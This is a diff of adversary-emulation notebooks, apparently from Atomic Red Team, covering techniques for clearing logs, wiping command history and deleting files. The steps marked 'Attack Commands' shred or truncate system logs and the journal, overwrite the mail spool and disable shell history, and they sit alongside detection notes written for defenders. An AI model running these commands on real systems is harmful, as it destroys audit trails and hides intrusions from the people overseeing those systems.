"metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "e7cb289c", + "metadata": {}, + "source": "### Atomic Test #6 - Delete log files via cat utility by appending /dev/null or /dev/zero\nThe first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c3d3c544", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "8512ac33", "metadata": {}, "source": [ - "### Atomic Test #2 - Overwrite Linux Mail Spool", - "This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.\n", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo cat /dev/null > /var/log/system.log #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=/var/log/system.log #log file filled with null bytes(zeros)\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7e8dcaa8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "c1bed9fc", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)", + "The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /dev/null > /var/log/messages #truncating the file to zero bytes\ncat /dev/zero > /var/lol/messages #log file filled with null bytes(zeros)\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "336b3d08", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "4cb291e2", + "metadata": {}, + "source": "### Atomic Test #8 - System log file deletion via find utility\nThis test finds and deletes the system log files within /var/log/ directory using various executions(rm, shred, unlink)\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log /var/log/system.log.97.gz /var/log/system.log.98.gz\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log /var/log/system.log.97.gz /var/log/system.log.98.gz\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c8dc010d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b3209294", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo find /var/log -name 'system.log.*' -exec rm {} \\; #using \"rm\" execution\nsudo find /var/log/ -name \"system.log.97.gz.*\" -exec shred -u -z -n 3 {} \\; #using \"shred\" execution\nsudo find /var/log/ -name \"system.log.98.gz.*\" -exec unlink {} \\; #using \"unlink\" execution\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b1160c7f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "60bb53ee", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Overwrite macOS system log via echo utility", + "This test overwrites the contents of system log file with an empty string using echo utility\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo echo '' > /var/log/system.log\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "55aea98e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "7486c689", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Overwrite FreeBSD system log via echo utility", + "This test overwrites the contents of system log file with an empty string using echo utility\n", "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho '' > /var/log/messages\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58402244", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "cfe5d127", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Real-time system log clearance/deletion", + "This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo log -f /var/log/system.log | : > /var/log/system.log\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3899697f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "86c34420", + "metadata": {}, + "source": "### Atomic Test #12 - Delete system log files via unlink utility\nThis test deletes the system log file using unlink utility\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "208d63d5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 12 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "5b0dd793", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo unlink /var/log/system.log\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "73729ba6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "1384b844", + "metadata": {}, + "source": [ + "### Atomic Test #13 - Delete system log files via unlink utility (freebsd)", + "This test deletes the messages log file using unlink utility\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nunlink /var/log/messages\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "695eb0dc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "c5d4819f", + "metadata": {}, + "source": "### Atomic Test #14 - Delete system log files using shred utility\nThis test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1dc02ba2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "dabc2c94", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo shred -u -z -n 3 /var/log/system.log\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "42c125bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "572c1b28", + "metadata": {}, + "source": "### Atomic Test #15 - Delete system log files using srm utility\nThis test securely deletes the system log files individually and recursively using the srm utility.\nInstall srm using Homebrew with the command: brew install khell/homebrew-srm/srm\nRefer: https://github.com/khell/homebrew-srm/issues/1 for installation\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log /var/log/\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /var/log/ && touch /var/log/system.log /var/log//system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7b31f0e6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 15 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "44902bb0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo srm /var/log/system.log #system log file deletion\nsudo srm -r /var/log/ #recursive deletion of log files\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9256f731", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 15" + }, + { + "cell_type": "markdown", + "id": "2fb08ec5", + "metadata": {}, + "source": "### Atomic Test #16 - Delete system log files using OSAScript\nThis test deletes the system log file using osascript via \"do shell script\"(sh/bash by default) which in-turn spawns rm utility, requires admin privileges\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7a21eea0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 16 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "21af4316", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nosascript -e 'do shell script \"rm /var/log/system.log\" with administrator privileges'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2d0db194", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 16" + }, + { + "cell_type": "markdown", + "id": "ef482c53", + "metadata": {}, + "source": "### Atomic Test #17 - Delete system log files using Applescript\nThis test deletes the system log file using applescript using osascript via Finder application\nNote: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework.\nRefer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a518b2c2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 17 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b405ffd8", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nosascript -e 'tell application \"Finder\" to delete POSIX file \"/var/log/system.log\"'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9d567d93", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "01c00218", + "metadata": {}, + "source": "### Atomic Test #18 - Delete system journal logs via rm and journalctl utilities\nThe first sub-test deletes the journal files using rm utility in the \"/var/log/journal/\" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/journal\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /var/log/journal && touch /var/log/journal/T1070_002.journal\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c5de7ecf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 18 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9851c163", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo rm /var/log/journal/* #physically deletes the journal files, and not just their content\nsudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4f4e1502", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 18" + }, + { + "cell_type": "markdown", + "id": "4a919bbc", + "metadata": {}, + "source": "### Atomic Test #19 - Overwrite Linux Mail Spool\nThis test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```bash\nstat /var/spool/mail/root\n\n```\n##### Get Prereq Commands:\n```bash\ntouch /var/spool/mail/root\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "caa1d23b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 19 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "043b889e", + "metadata": {}, + "source": [ "#### Attack Commands: Run with `bash`\n", "```bash\necho 0> /var/spool/mail/root\n```" ] @@ -48,19 +516,20 @@ { "cell_type": "code", "execution_count": null, - "id": "7286b2cf", + "id": "3c0862e5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1070.002 -TestNumbers 2" + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "957c1a73", + "id": "5b62d15c", "metadata": {}, "source": [ - "### Atomic Test #3 - Overwrite Linux Log", + "### Atomic Test #20 - Overwrite Linux Log", "This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.\n", "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `bash`\n", "```bash\necho 0> /var/log/secure\n```" ] @@ -68,14 +537,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d01bfb05", + "id": "2d581b4b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1070.002 -TestNumbers 3" + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 20" + }, + { + "cell_type": "markdown", + "id": "0c486e98", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nif [ \"/var/log/secure\" != \"/var/log/secure\" ] ; then rm -f /var/log/secure ; fi\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9f49fe3c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 20 -Cleanup" }, { "cell_type": "markdown", - "id": "1b36bc0e", + "id": "ad46c122", "metadata": {}, "source": "## Detection\nFile system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files." } @@ -83,13 +566,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.003.ipynb b/playbook/tactics/defense-evasion/T1070.003.ipynb index c7907423..2ed49c1e 100644 --- a/playbook/tactics/defense-evasion/T1070.003.ipynb +++ b/playbook/tactics/defense-evasion/T1070.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ff0d401b", + "id": "b8a63365", "metadata": {}, "source": "# T1070.003 - Clear Command History\nIn addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)" }, { "cell_type": "markdown", - "id": "a93db085", + "id": "2c1d12ee", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea6a145f", + "id": "4d152b76", "metadata": {}, "source": [ "### Atomic Test #1 - Clear Bash history (rm)", @@ -27,18 +27,18 @@ { "cell_type": "code", "execution_count": null, - "id": "25d0353e", + "id": "4e7561b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "fb4da0e5", + "id": "eaa57edd", "metadata": {}, "source": [ "### Atomic Test #2 - Clear Bash history (echo)", - "Clears bash history via rm\n", + "Clears bash history via echo\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", "```sh\necho \"\" > ~/.bash_history\n```" @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3b6fd80d", + "id": "b2f2ee3f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "f86495b3", + "id": "7e2d76c6", "metadata": {}, "source": [ "### Atomic Test #3 - Clear Bash history (cat dev/null)", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a9282870", + "id": "6155b6d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "e50fcad5", + "id": "83702d78", "metadata": {}, "source": [ "### Atomic Test #4 - Clear Bash history (ln dev/null)", @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3f585615", + "id": "b4956e4d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "137ec4b4", + "id": "e45ad1ca", "metadata": {}, "source": [ "### Atomic Test #5 - Clear Bash history (truncate)", @@ -107,14 +107,14 @@ { "cell_type": "code", "execution_count": null, - "id": "8c37c858", + "id": "0d45651f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "683f0fc0", + "id": "a2db8559", "metadata": {}, "source": [ "### Atomic Test #6 - Clear history of a bunch of shells", @@ -127,14 +127,14 @@ { "cell_type": "code", "execution_count": null, - "id": "12ac63c6", + "id": "57c19527", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "d0356ac4", + "id": "5431c36d", "metadata": {}, "source": [ "### Atomic Test #7 - Clear and Disable Bash History Logging", @@ -147,28 +147,28 @@ { "cell_type": "code", "execution_count": null, - "id": "48bc26e9", + "id": "6aa5b499", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "0167744f", + "id": "4ffd3dd0", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i 's/set +o history//g' ~/.bashrc\n. ~/.bashrc\nset -o history\n```" }, { "cell_type": "code", "execution_count": null, - "id": "047bd5a7", + "id": "0e2e944c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "87bdf1c3", + "id": "3f781ee0", "metadata": {}, "source": [ "### Atomic Test #8 - Use Space Before Command to Avoid Logging to History", @@ -181,28 +181,28 @@ { "cell_type": "code", "execution_count": null, - "id": "688fc705", + "id": "ad3cd567", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "db3c5817", + "id": "7949ba56", "metadata": {}, - "source": "### Atomic Test #9 - Disable Bash History Logging with SSH -T\nKeeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Install sshpass and create user account used for excuting\n\n##### Check Prereq Commands:\n```sh\n$(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null)\n\n```\n##### Get Prereq Commands:\n```sh\n/usr/sbin/useradd testuser1\necho -e 'pwd101!\\npwd101!' | passwd testuser1\n(which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)\n\n```" + "source": "### Atomic Test #9 - Disable Bash History Logging with SSH -T\nKeeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Install sshpass and create user account used for excuting\n\n##### Check Prereq Commands:\n```sh\n$(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null)\n\n```\n##### Get Prereq Commands:\n```sh\n[ \"$(uname)\" = 'FreeBSD' ] && pw useradd testuser1 -g wheel -s /bin/sh || /usr/sbin/useradd testuser1\n[ \"$(uname)\" = 'FreeBSD' ] && echo 'pwd101!' | pw mod user testuser1 -h 0 || echo -e 'pwd101!\\npwd101!' | passwd testuser1\n(which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)||(which pkg && pkg install -y sshpass)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f7a89800", + "id": "73584268", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "731e1475", + "id": "173de478", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -212,28 +212,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4c3af091", + "id": "e6e3f3b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "2fbdb3f1", + "id": "08b399b6", "metadata": {}, - "source": "#### Cleanup: \n```sh\nuserdel -f testuser1\n```" + "source": "#### Cleanup: \n```sh\n[ \"$(uname)\" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6f39438c", + "id": "57b39529", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "125ff6b3", + "id": "5cae259a", "metadata": {}, "source": [ "### Atomic Test #10 - Prevent Powershell History Logging", @@ -246,28 +246,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9e6e3ddb", + "id": "cfd24c4a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "a349bf52", + "id": "bcc29998", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-PSReadLineOption -HistorySaveStyle SaveIncrementally```" }, { "cell_type": "code", "execution_count": null, - "id": "a8c8dcfe", + "id": "01fa9cd4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "76555c02", + "id": "574e0579", "metadata": {}, "source": [ "### Atomic Test #11 - Clear Powershell History by Deleting History File", @@ -280,14 +280,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ed011940", + "id": "7ddfbc61", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "b8da8227", + "id": "cc4d6f54", "metadata": {}, "source": [ "### Atomic Test #12 - Set Custom AddToHistoryHandler to Avoid History File Logging", @@ -300,28 +300,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2173d11e", + "id": "530a368b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "4a035be0", + "id": "bf4f8666", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-PSReadLineOption -AddToHistoryHandler $null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "015d307d", + "id": "a64946c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.003 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "8ddda70a", + "id": "f061a07b", "metadata": {}, "source": "## Detection\nUser authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command." } @@ -329,13 +329,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.004.ipynb b/playbook/tactics/defense-evasion/T1070.004.ipynb index c66e74bd..80b5b76f 100644 --- a/playbook/tactics/defense-evasion/T1070.004.ipynb +++ b/playbook/tactics/defense-evasion/T1070.004.ipynb @@ -2,59 +2,95 @@ "cells": [ { "cell_type": "markdown", - "id": "22e8a906", + "id": "b497b07a", "metadata": {}, "source": "# T1070.004 - File Deletion\nAdversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS." }, { "cell_type": "markdown", - "id": "cf6bc784", + "id": "7d2c7e63", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f5e722d6", + "id": "6a1ece5c", + "metadata": {}, + "source": "### Atomic Test #1 - Delete a single file - FreeBSD/Linux/macOS\nDelete a single file from the temporary directory\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist in order to be deleted\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/victim-files/T1070.004-test.txt && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /tmp/victim-files/ && touch /tmp/victim-files/T1070.004-test.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2e198fd5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.004 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d8b793a2", "metadata": {}, "source": [ - "### Atomic Test #1 - Delete a single file - Linux/macOS", - "Delete a single file from the temporary directory\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\nrm -f /tmp/victim-files/a\n```" + "```sh\nrm -f /tmp/victim-files/T1070.004-test.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "42031461", + "id": "d02d108a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a746fe9f", + "id": "83ce760f", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/victim-files/\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9b0e73b8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.004 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e1baf3eb", + "metadata": {}, + "source": "### Atomic Test #2 - Delete an entire folder - FreeBSD/Linux/macOS\nRecursively delete the temporary directory and all files contained within it\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The folder must exist in order to be deleted\n\n##### Check Prereq Commands:\n```sh\ntest -e /tmp/victim-folder && exit 0 || exit 1\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /tmp/victim-folder\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b8a9ecdf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.004 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a4b8947f", "metadata": {}, "source": [ - "### Atomic Test #2 - Delete an entire folder - Linux/macOS", - "Recursively delete the temporary directory and all files contained within it\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\nrm -rf /tmp/victim-files\n```" + "```sh\nrm -rf 